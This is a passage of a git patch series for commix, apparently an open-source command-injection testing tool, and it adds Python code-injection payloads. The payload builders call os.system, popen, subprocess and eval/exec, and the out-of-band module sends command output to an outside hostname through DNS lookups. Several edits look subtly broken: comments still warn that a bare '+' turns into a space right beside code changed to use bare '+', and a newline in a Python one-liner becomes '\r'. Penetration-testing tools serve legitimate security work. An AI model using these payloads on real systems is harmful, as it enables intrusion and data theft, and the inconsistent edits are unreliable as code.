- the same technique serves either sink. +EVAL_INJECTION_TYPES = (INJECTION_TYPE.RESULTS_BASED_CE, INJECTION_TYPE.BLIND_CE, INJECTION_TYPE.SEMI_BLIND_CE) # Supported injection techniques class INJECTION_TECHNIQUE(object): @@ -1600,6 +1639,10 @@ class END_LINE: # Retries when the connection timeouts (Default: 3). MAX_RETRIES = 3 +# Failed writes to the web root, at most, before the temporary directory is offered instead. A +# smaller set of boundaries than this is gone through in full first, rather than stopped one short. +MAX_FAILED_TRIES = 50 + # Consecutive connection errors tolerated before giving up. CONNECTION_ERROR_RETRIES = 0 MAX_CONNECTION_ERROR_RETRIES = 5 @@ -1627,6 +1670,11 @@ class END_LINE: # the plain requests the model is warmed up with: those two cost different amounts. PROBE_RESPONSE_TIMES = [] MIN_PROBE_RESPONSES = 5 + +# Samples needed before spikes are worth stripping from a response-time model. Tied to the smaller +# of the two models rather than the larger: the probe model is read from five samples up, and left +# unfiltered until fifteen a single slow probe sets the threshold above the delay it must detect. +MIN_OUTLIER_SAMPLE = MIN_PROBE_RESPONSES # Set once a time-related payload's own cost has been sampled into the model above. PAYLOAD_BASELINE_SAMPLED = False # Whether the model above was sampled the way the payloads that follow are sent - concurrently, @@ -1872,7 +1920,8 @@ class END_LINE: "VERBOSITY_LEVEL", "WIN_PHP_DIR", "WIN_PYTHON_INTERPRETER", "USER_APPLIED_AUTH_CRED", "USER_APPLIED_AUTH_TYPE", "USER_APPLIED_CMD", "USER_APPLIED_COOKIE", "USER_APPLIED_DATA", "USER_APPLIED_LEVEL", "USER_APPLIED_RETRIES", "USER_APPLIED_TAMPER", - "USER_APPLIED_TECHNIQUE", "USER_APPLIED_WEB_ROOT", + "USER_APPLIED_TECHNIQUE", "USER_APPLIED_WEB_ROOT", "USER_APPLIED_INTERPRETER", + "USER_APPLIED_TIMESEC", "USER_APPLIED_TMP_PATH", # Answered once by the user, and not worth asking again for every target. "ADJUST_TIME_DELAY_CHOICE", "IGNORE_IDENTIFIED_TARGET_OS", "RECOGNISE_OS", "THREADED_TIME_RETRIEVAL_CHOICE", "USE_BIN_SUBDIR_CHOICE", "WAF_EVASION_CONSENT", @@ -1882,7 +1931,7 @@ class END_LINE: "HTTP_ERROR_CODES_SUM", "IDENTIFIED_WARNINGS", "INIT_TEST", "LAST_DOT_BUCKET", "LAST_LOG_GROUP", "LAST_LOGGED_PARAMETER", "LAST_SELECTED_MODULE", "LIKELY_RESUME", "LOGGED_FINDINGS_HEADER", "MULTI_REQUEST_TARGETS", "MULTI_TARGETS", "OS_CHECKS_NUM", "PROGRESS_LINE_OPEN", "READLINE_ERROR", - "SESSION_FILE", "SHOW_LOGS_MSG", "SITEMAP_CHECK", "SKIPPED_OUT_OF_SCOPE", "SKIP_VULNERABLE_HOST", + "SESSION_FILE", "SHOW_LOGS_MSG", "TAMPER_SCRIPTS", "SITEMAP_CHECK", "SKIPPED_OUT_OF_SCOPE", "SKIP_VULNERABLE_HOST", "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "VALIDATION_RUN", "VISIBLE_CONNECTION_ERRORS", "WARNED_HTTP_ERROR_CODES", # Set by the connection to whichever target is in hand, before this reset can be reached. From 2b8434aa29d2aacf51ce8110f565520bedf6811d Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 14 Sep 2026 07:23:48 +0300 Subject: [PATCH 0788/1023] Added code injection support for Python as well as PHP, across all techniques --- README.md | 2 +- doc/CHANGELOG.md | 1 + doc/translations/README-es-ES.md | 2 +- doc/translations/README-fa-FA.md | 2 +- doc/translations/README-fr-FR.md | 2 +- doc/translations/README-gr-GR.md | 2 +- doc/translations/README-idn-IDN.md | 2 +- doc/translations/README-tr-TR.md | 2 +- src/core/eval/__init__.py | 3 +- src/core/eval/php.py | 12 +- src/core/eval/python.py | 178 ++++++++++++++++++ .../blind/techniques/oob/oob_payloads.py | 20 +- .../techniques/time_based/tb_payloads.py | 142 +++++++------- src/core/injections/controller/checks.py | 129 ++++++++++--- src/core/injections/controller/controller.py | 123 ++++++++---- src/core/injections/controller/handler.py | 16 +- src/core/injections/controller/injector.py | 2 +- .../techniques/classic/cb_payloads.py | 18 +- .../techniques/eval/eb_payloads.py | 8 +- .../techniques/tempfile_based/tfb_payloads.py | 112 +++++------ src/core/main.py | 32 ++-- src/core/requests/headers.py | 23 ++- src/core/requests/reproduce.py | 7 +- src/core/requests/requests.py | 36 +++- src/core/tamper/backslashes.py | 2 +- src/core/tamper/backticks.py | 2 +- src/core/tamper/base64encode.py | 7 + src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/hexencode.py | 7 + src/core/tamper/nested.py | 2 +- src/core/tamper/printf2echo.py | 2 +- src/core/tamper/randomcase.py | 8 +- src/core/tamper/rev.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/slash2env.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2htab.py | 4 +- src/core/tamper/space2ifs.py | 4 +- src/core/tamper/space2plus.py | 2 +- src/core/tamper/space2vtab.py | 4 +- src/core/tamper/uninitializedvariable.py | 2 +- src/utils/menu.py | 2 +- src/utils/settings.py | 92 ++++++++- 43 files changed, 734 insertions(+), 292 deletions(-) create mode 100644 src/core/eval/python.py diff --git a/README.md b/README.md index ed7ad8308a..81fdf59990 100644 --- a/README.md +++ b/README.md @@ -34,7 +34,7 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c ## Features * **Four injection techniques** - classic (results-based), time-based (blind), file-based (semi-blind, with a tempfile-based variant for write-restricted targets), and out-of-band (OAST) over HTTP/S and DNS. -* **Code injection** - `--eval` tests the string a target evaluates as code, over the same four techniques. +* **Code injection** - `--eval` tests the string a target evaluates as code, in PHP or Python, over the same four techniques. * **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. * **Interactive shells** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, and file `download`/`upload` over the established shell. * **Enumeration and file access** - current user, hostname, privileges, system information, users and password hashes; read from and write to files on the target host. diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a945513238..48d0388f75 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: Code injection support for Python as well as PHP, across all techniques. * Added: The `--eval` switch now also reaches the time-based and file-based techniques, so code injection is proven blind and semi-blind as well as results-based. * Added: New `--eval` switch to test for code injection, optionally naming a language (e.g. `--eval="php"`), which combines with any technique given with `--technique`. * Fixed: The out-of-band (DNS) payloads chain their own commands with the separator being tested, instead of always with `||`. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 6392349f6f..756fe6c979 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -35,7 +35,7 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi ## Características * **Cuatro técnicas de inyección** - classic (basada en resultados), time-based (a ciegas), file-based (semi a ciegas, con una variante tempfile-based para objetivos con escritura restringida) y out-of-band (OAST) sobre HTTP/S y DNS. -* **Inyección de código** - `--eval` prueba la cadena que el objetivo evalúa como código, con las mismas cuatro técnicas. +* **Inyección de código** - `--eval` prueba la cadena que el objetivo evalúa como código, en PHP o Python, con las mismas cuatro técnicas. * **Amplia superficie de inyección** - parámetros GET/POST, cabeceras HTTP, cookies y cuerpos de petición JSON/XML, además del módulo `shellshock` para objetivos CGI. * **Shells interactivas** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, y transferencia de archivos (`download`/`upload`) a través de la shell establecida. * **Enumeración y acceso a archivos** - usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas; lectura y escritura de archivos en el objetivo. diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index 9aab4e9e7c..25d5d1a684 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -35,7 +35,7 @@ ## ویژگی‌ها * **چهار تکنیک تزریق** - classic (مبتنی بر نتیجه)، time-based (کور)، file-based (نیمه‌کور، به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن) و out-of-band (OAST) روی HTTP/S و DNS. -* **تزریق کد** - سوئیچ `--eval` رشته‌ای را که هدف به عنوان کد ارزیابی می‌کند، با همان چهار تکنیک آزمایش می‌کند. +* **تزریق کد** - سوئیچ `--eval` رشته‌ای را که هدف به عنوان کد ارزیابی می‌کند، در PHP یا Python و با همان چهار تکنیک آزمایش می‌کند. * **سطح تزریق گسترده** - پارامترهای GET/POST، سرآیندهای HTTP، کوکی‌ها و بدنه درخواست‌های JSON/XML، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. * **پوسته‌های تعاملی** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، و انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده. * **شمارش و دسترسی به فایل** - کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها؛ خواندن و نوشتن فایل روی هدف. diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index f61e87d931..64fd4e1317 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -35,7 +35,7 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co ## Fonctionnalités * **Quatre techniques d'injection** - classic (basée sur les résultats), time-based (à l'aveugle), file-based (semi-aveugle, avec une variante tempfile-based pour les cibles à écriture restreinte) et out-of-band (OAST) via HTTP/S et DNS. -* **Injection de code** - `--eval` teste la chaîne que la cible évalue comme du code, avec les quatre mêmes techniques. +* **Injection de code** - `--eval` teste la chaîne que la cible évalue comme du code, en PHP ou Python, avec les quatre mêmes techniques. * **Large surface d'injection** - paramètres GET/POST, en-têtes HTTP, cookies et corps de requête JSON/XML, ainsi que le module `shellshock` pour les cibles CGI. * **Shells interactifs** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, et le transfert de fichiers (`download`/`upload`) via le shell établi. * **Énumération et accès aux fichiers** - utilisateur courant, nom d'hôte, privilèges, informations système, utilisateurs et empreintes de mots de passe ; lecture et écriture de fichiers sur la cible. diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 275cf5c698..043450ad4f 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -35,7 +35,7 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] ## Χαρακτηριστικά * **Τέσσερις τεχνικές εισαγωγής** - classic (βάσει αποτελεσμάτων), time-based (τυφλή), file-based (ημιτυφλή, με παραλλαγή tempfile-based για στόχους με περιορισμένη εγγραφή) και out-of-band (OAST) μέσω HTTP/S και DNS. -* **Εισαγωγή κώδικα** - ο διακόπτης `--eval` ελέγχει τη συμβολοσειρά που ο στόχος αποτιμά ως κώδικα, με τις ίδιες τέσσερις τεχνικές. +* **Εισαγωγή κώδικα** - ο διακόπτης `--eval` ελέγχει τη συμβολοσειρά που ο στόχος αποτιμά ως κώδικα, σε PHP ή Python, με τις ίδιες τέσσερις τεχνικές. * **Ευρεία επιφάνεια εισαγωγής** - παράμετροι GET/POST, κεφαλίδες HTTP, cookies και σώματα αιτημάτων JSON/XML, καθώς και η μονάδα `shellshock` για στόχους CGI. * **Διαδραστικά κελύφη** - `os_shell` στον στόχο, ενσωματωμένες λειτουργίες `reverse_tcp` και `bind_tcp`, και μεταφορά αρχείων (`download`/`upload`) μέσα από το κέλυφος. * **Απαρίθμηση και πρόσβαση σε αρχεία** - τρέχων χρήστης, όνομα υπολογιστή, δικαιώματα, πληροφορίες συστήματος, χρήστες και κατακερματισμοί κωδικών· ανάγνωση και εγγραφή αρχείων στον στόχο. diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 34e10fbbd8..74595b3058 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -35,7 +35,7 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp ## Fitur * **Empat teknik injeksi** - classic (berbasis hasil), time-based (buta), file-based (setengah buta, dengan varian tempfile-based untuk target yang terbatas hak tulisnya) dan out-of-band (OAST) melalui HTTP/S dan DNS. -* **Injeksi kode** - `--eval` menguji string yang dievaluasi target sebagai kode, dengan empat teknik yang sama. +* **Injeksi kode** - `--eval` menguji string yang dievaluasi target sebagai kode, dalam PHP atau Python, dengan empat teknik yang sama. * **Permukaan injeksi yang luas** - parameter GET/POST, header HTTP, cookie, dan body permintaan JSON/XML, serta modul `shellshock` untuk target CGI. * **Shell interaktif** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, serta transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk. * **Enumerasi dan akses berkas** - pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi; membaca dan menulis berkas pada target. diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index d1f4f1f329..bd2027a526 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -35,7 +35,7 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http ## Özellikler * **Dört enjeksiyon tekniği** - classic (sonuç tabanlı), time-based (kör), file-based (yarı kör, yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte) ve HTTP/S ile DNS üzerinden out-of-band (OAST). -* **Kod enjeksiyonu** - `--eval`, hedefin kod olarak değerlendirdiği dizgeyi aynı dört teknikle sınar. +* **Kod enjeksiyonu** - `--eval`, hedefin kod olarak değerlendirdiği dizgeyi PHP veya Python olarak, aynı dört teknikle sınar. * **Geniş enjeksiyon yüzeyi** - GET/POST parametreleri, HTTP başlıkları, çerezler ve JSON/XML istek gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. * **Etkileşimli kabuklar** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları ve kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`). * **Numaralandırma ve dosya erişimi** - geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ve parola özetleri; hedefte dosya okuma ve yazma. diff --git a/src/core/eval/__init__.py b/src/core/eval/__init__.py index 42142ed05d..feded58857 100644 --- a/src/core/eval/__init__.py +++ b/src/core/eval/__init__.py @@ -21,8 +21,9 @@ """ from src.core.eval import php +from src.core.eval import python -LANGUAGES = {php.NAME: php} +LANGUAGES = {php.NAME: php, python.NAME: python} """ The languages that can be named with '--eval'. diff --git a/src/core/eval/php.py b/src/core/eval/php.py index afdeb90451..e6085794fb 100644 --- a/src/core/eval/php.py +++ b/src/core/eval/php.py @@ -56,8 +56,8 @@ # Breaking out of the evaluated string, and closing it again behind the payload. SEPARATORS_LVL1 = [""] -SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["%0a"] -SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["%0d%0a"] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] # Concatenation, concatenation out of a single-quoted string, and variable-variable interpolation. PREFIXES_LVL1 = [".", "'.", "{${"] @@ -69,7 +69,7 @@ SUFFIXES_LVL1 = [ "", ".'", "}}"] # Closing the interpolation, and commenting out whatever the application appends behind it. SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["'#", "}", "}\""] -SUFFIXES_LVL3 = SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#", "%3B//", "%3B#", "/*"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#", ";//", ";#", "/*"] """ Wrap the shell commands a payload runs in this language's print statement. @@ -91,6 +91,10 @@ def print_statement(separator, commands, chain=None): again rather than by touching a payload. """ +# How one of the functions above is reached, as a prefix a payload is wrapped in. +def execution_prefix(function): + return "${" + function + "(" + # Run a command and yield its output. def run(cmd): return "`" + cmd + "`" @@ -124,6 +128,6 @@ def sequence(first, second): return first + "." + second # What ends a statement, where the boundary being tested can carry one. -TERMINATOR = "%3B" +TERMINATOR = ";" # eof diff --git a/src/core/eval/python.py b/src/core/eval/python.py new file mode 100644 index 0000000000..796fe65115 --- /dev/null +++ b/src/core/eval/python.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +NAME = "python" + +# The same name as it is written out to the user, where the switch's own spelling would read wrong. +LABEL = "Python" + +""" +An expression whose value says at once that code was evaluated, and which version evaluated it. + +The interpreter's own version banner, which no payload carries and no reflection can produce - the +build and compiler it names are written by the interpreter, so seeing them back is the proof. +""" +PROBE = "__import__(\"sys\").version" + +""" +The probe on its own, and wrapped in what would render it where the bare value is not. + +An evaluation sink here is reached as an expression, and what the application does with the value +is its own business - so the probe is offered as the value, and as a string where the value alone +would not be rendered. +""" +PROBE_FUNCTIONS = ["" + PROBE + "", + "str(" + PROBE + ")", + "repr(" + PROBE + ")" +] + +# The same probes broken into the string being evaluated, one boundary per row - each row pairing a +# prefix with the suffix that closes it, the way the boundaries below are paired. +PROBE_PAYLOADS = [ + [x for x in PROBE_FUNCTIONS], + ["+" + x for x in PROBE_FUNCTIONS], + ["'+" + x + "+'" for x in PROBE_FUNCTIONS], + ["\"+" + x + "+\"" for x in PROBE_FUNCTIONS], + ["')+" + x + "+('" for x in PROBE_FUNCTIONS] +] + +PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload] + +""" +What the probe's own value looks like coming back, and the complaints that say a payload reached an +evaluated string even where nothing was rendered. + +The version is followed by the build and the compiler, both in brackets - a shape the payload does +not contain, so a target that merely echoes the payload back cannot match it. +""" +PROBE_REGEX = r"(\d+\.\d+\.\d+[^\s\]]*)\s*\([^)]*\)\s*\[[^\]]+\]" +WARNINGS = ["File \"<string>\"", "Traceback (most recent call last)", "SyntaxError", + "NameError", "eval() arg", "exec() arg"] + +""" +The language's own callables that run a command, widest first as the level rises. + +Each is written out whole, the import included: there is no bare name for these the way a language +with them built in would have, and the prefix below only adds the bracket. +""" +EXECUTION_FUNCTIONS_LVL1 = ["__import__(\"os\").system"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["__import__(\"os\").popen"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["__import__(\"subprocess\").getoutput", + "__import__(\"subprocess\").call", + "eval", "exec"] + +# Breaking out of the evaluated string, and closing it again behind the payload. +SEPARATORS_LVL1 = [""] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] + +# The whole value as the expression, concatenation onto a value that is already one, and +# concatenation out of a quoted string the value sits inside. +PREFIXES_LVL1 = ["", "+", "'+", "\"+"] +# Closing a call the value sits inside, and a further argument to one. +PREFIXES_LVL2 = PREFIXES_LVL1 + ["')+", "\")+", "',", "\","] +# Ending the statement outright, where the sink runs statements rather than an expression. +PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", "\";", ";", ")", "']", "\"]", "'}", "\"}"] + +SUFFIXES_LVL1 = ["", "+'", "+\""] +# Closing the call again, and commenting out whatever the application appends behind it. +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["+('", "+(\"", "#"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'#", "\"#", ")#", "]#", "}#", ",'", ",\""] + +# How one of the functions above is reached, as a prefix a payload is wrapped in. +def execution_prefix(function): + return function + "(" + +""" +Wrap the shell commands a payload runs in what this language renders them with. + +There is no statement here that writes to the response the way another language's print does: what +the application renders is the value of the expression it evaluated, so the commands' output is +concatenated and handed back as that value. +""" +def print_statement(separator, commands, chain=None): + if separator == "": + return "+".join(run(command) for command in commands) + return run((chain or separator).join(commands)) + +""" +The expressions every payload is built out of, spelled the way this language spells them. + +What a technique asks of a sink is the same whichever language is evaluating: run this, tell me how +long the answer is, tell me its Nth byte, wait this long if the answer is yes. Only the spelling +differs - so the techniques ask through the names below, and a language is added by writing them +again rather than by touching a payload. + +The strings here are quoted with '"', which leaves the boundaries that break out of a single-quoted +string usable and the ones breaking out of a double-quoted string not - the same trade the language +itself imposes, and the sweep simply finds fewer combinations that work on such a target. +""" + +""" +A string literal holding the given text. + +Whatever is quoted here can itself contain a quote - an interpreter one-liner passed with +'--interpreter' is full of them, and so is any command the user wrote with one. Left as they are, +the first of them ends the literal and the rest is read as code that does not parse. +""" +def _literal(text): + return "\"" + text.replace("\\", "\\\\").replace("\"", "\\\"") + "\"" + +# Run a command and yield its output. +def run(cmd): + return "__import__(\"os\").popen(" + _literal(cmd) + ").read()" + +# Read a file and yield its contents. +def read_file(path): + return "open(" + _literal(path) + ").read()" + +# Drop trailing whitespace, so a length agrees with what a shell's own substitution would report. +def trim(expr): + return "(" + expr + ").rstrip()" + +# How many bytes an expression is. +def length(expr): + return "len(" + expr + ")" + +""" +The ordinal of an expression's Nth byte, counting from zero. + +Sliced rather than indexed, and given something to fall back on: an index past the end raises here +where another language answers zero, and the search asks about bytes that may not be there. +""" +def ordinal(expr, index): + return "ord((" + expr + ")[" + str(index) + ":" + str(index + 1) + "] or chr(0))" + +# An expression's value read as a number, for a command whose output is one. +def to_number(expr): + return "int((" + expr + ") or 0)" + +# Wait for as long as the condition is true, and no time at all when it is false. +def delay(timesec, condition): + return "__import__(\"time\").sleep(" + str(timesec) + "*(" + condition + "))" + +""" +Evaluate one expression and then another, within a single expression. + +A tuple, whose elements are evaluated left to right, with the second one's value taken - there is +no operator here that both sequences and yields the way another language's concatenation does. +""" +def sequence(first, second): + return "(" + first + "," + second + ")[1]" + +# What ends a statement, where the boundary being tested can carry one. +TERMINATOR = ";" + +# eof diff --git a/src/core/injections/blind/techniques/oob/oob_payloads.py b/src/core/injections/blind/techniques/oob/oob_payloads.py index f82575a41f..1ef3a1a751 100644 --- a/src/core/injections/blind/techniques/oob/oob_payloads.py +++ b/src/core/injections/blind/techniques/oob/oob_payloads.py @@ -27,11 +27,11 @@ The available out-of-band payloads. """ -PIPE = "%7c" +PIPE = "|" # 'Or else', for a chain of lookup commands where only some of them exist on the target. OR = PIPE + PIPE # A bare '+' would be read as a space where the payload is URL-decoded. -PLUS = "%2B" +PLUS = "+" """ The HTTP clients used to reach the out-of-band server, most common first. @@ -128,7 +128,7 @@ def decision(separator, transport, hostname, proof="", prologue=""): Out-of-band decision payload for a dynamic code evaluation sink. """ def decision_eval(separator, transport, hostname, proof="", prologue=""): - return "print(`" + prologue + reach_command(transport, hostname, proof) + "`)" + ("%3B" if separator else "") + return "print(`" + prologue + reach_command(transport, hostname, proof) + "`)" + (";" if separator else "") """ Out-of-band payload that sends the output of a command back through an evaluation sink. @@ -137,7 +137,7 @@ def exfiltrate_eval(separator, transport, hostname, cmd): inner = exfiltrate("", transport, hostname, cmd) if not inner: return "" - return "print(`" + inner + "`)" + ("%3B" if separator else "") + return "print(`" + inner + "`)" + (";" if separator else "") """ The prefixes an evaluation sink is reached through, execution functions included. @@ -234,11 +234,11 @@ def heuristic_payload(channel, target_os): # Both of cmd.exe's chaining operators, over the two clients that answer quickly. PowerShell # is left out on purpose: where a host has no way out, it holds the request open for far # longer than a yes/no is worth. - pairs = (("%26", "curl"), ("%26", "dns"), ("|", "dns")) + pairs = (("&", "curl"), ("&", "dns"), ("|", "dns")) else: # One HTTP client and the name lookup on both of the separators a shell chains on: a host that # lets nothing out over HTTP still answers through its resolver. - pairs = ((";", "curl"), ("%26", "dns"), ("|", "dns")) + pairs = ((";", "curl"), ("&", "dns"), ("|", "dns")) parts = [] probes = [] for separator, transport in pairs: @@ -330,7 +330,7 @@ def dns_exfil_command(hostname, cmd, separator=""): # the label separator. 'od' and the tools around it are POSIX, so this holds outside bash as well. encoded = ("(" + cmd + ")" + PIPE + "od -An -v -tx1" + PIPE + "tr -d ' " + settings.END_LINE.ESCAPED_LF + "'") - if separator not in (";", "%0a", "%0d%0a"): + if separator not in (";", "\n", "\r\n"): # The name goes in through the environment and the chunk as an argument, because a BSD 'xargs' # will not build a replaced argument longer than 255 bytes - the lookup chain alone is more. return (encoded + PIPE + "fold -w" + chunk + PIPE + "cat -n" + PIPE + "tr -d ' '" + PIPE + @@ -340,11 +340,11 @@ def dns_exfil_command(hostname, cmd, separator=""): # are and says so in every label - the reading end then knows when it has them all. A space after # the opening, or '$((' would be read as arithmetic instead of a subshell. return (settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.SINGLE_WHITESPACE + encoded + settings.CMD_SUB_SUFFIX + separator + - "t=$(( (${#" + settings.RANDOM_VAR_GENERATOR + "} %2B " + str(DNS_CHUNK - 1) + ") / " + chunk + " ))" + separator + "i=1" + separator + "n=1" + separator + + "t=$(( (${#" + settings.RANDOM_VAR_GENERATOR + "} + " + str(DNS_CHUNK - 1) + ") / " + chunk + " ))" + separator + "i=1" + separator + "n=1" + separator + "r(){ " + dns_lookup_command("$1", separator) + separator + "}" + separator + "while [ $i -le ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + "do " + - "r $n-$t.$(echo $" + settings.RANDOM_VAR_GENERATOR + "|cut -c$i-$((i%2B" + str(DNS_CHUNK - 1) + ")))." + hostname + separator + - "i=$((i%2B" + chunk + "))" + separator + "n=$((n%2B1))" + separator + "done") + "r $n-$t.$(echo $" + settings.RANDOM_VAR_GENERATOR + "|cut -c$i-$((i+" + str(DNS_CHUNK - 1) + ")))." + hostname + separator + + "i=$((i+" + chunk + "))" + separator + "n=$((n+1))" + separator + "done") """ Put the pieces of a hex-encoded output back together, in the order the labels numbered them. diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 76fc98866b..dc2c3acf25 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -48,8 +48,8 @@ def _length_expr(word): come back as nothing at all and the position it sits at could never be resolved. """ def _ordinal_expr(word, num_of_chars): - # '%2B' rather than a bare '+', which arrives as a space - and 'tail -c N' counts from the end. - return ("$(printf '%d' \"'$(printf '%s' \"" + word + "\" | tail -c %2B" + str(num_of_chars) + + # '+' rather than a bare '+', which arrives as a space - and 'tail -c N' counts from the end. + return ("$(printf '%d' \"'$(printf '%s' \"" + word + "\" | tail -c +" + str(num_of_chars) + " | head -c 1; printf X)\")") """ @@ -84,20 +84,20 @@ def decision(separator, TAG, output_length, timesec, http_request_method): # timing measurement cannot afford. payload = checks.windows_probe(chain, "echo " + TAG, "==", TAG, timesec) else: - if separator in (";", "%0a", "%0d%0a"): + if separator in (";", "\n", "\r\n"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==$" + settings.RANDOM_VAR_GENERATOR + "1)))" ) - elif separator == "%26": + elif separator == "&": payload = (separator + "[ " + str(output_length) + " -eq " + _length_expr(TAG) + " ]" + "&&" + "sleep " + str(timesec) ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + "sleep 0 " + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + @@ -133,27 +133,27 @@ def decision_alter_interpreter(separator, TAG, output_length, timesec, http_requ payload = checks.windows_probe(chain, python_payload, "==", output_length, timesec) else: - if separator in (";", "%0a", "%0d%0a"): + if separator in (";", "\n", "\r\n"): payload = (separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(output_length) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(output_length) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator == "%26": + elif separator == "&": payload = (separator + # Find the length of the output, using readline(). "[ " + str(output_length) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + 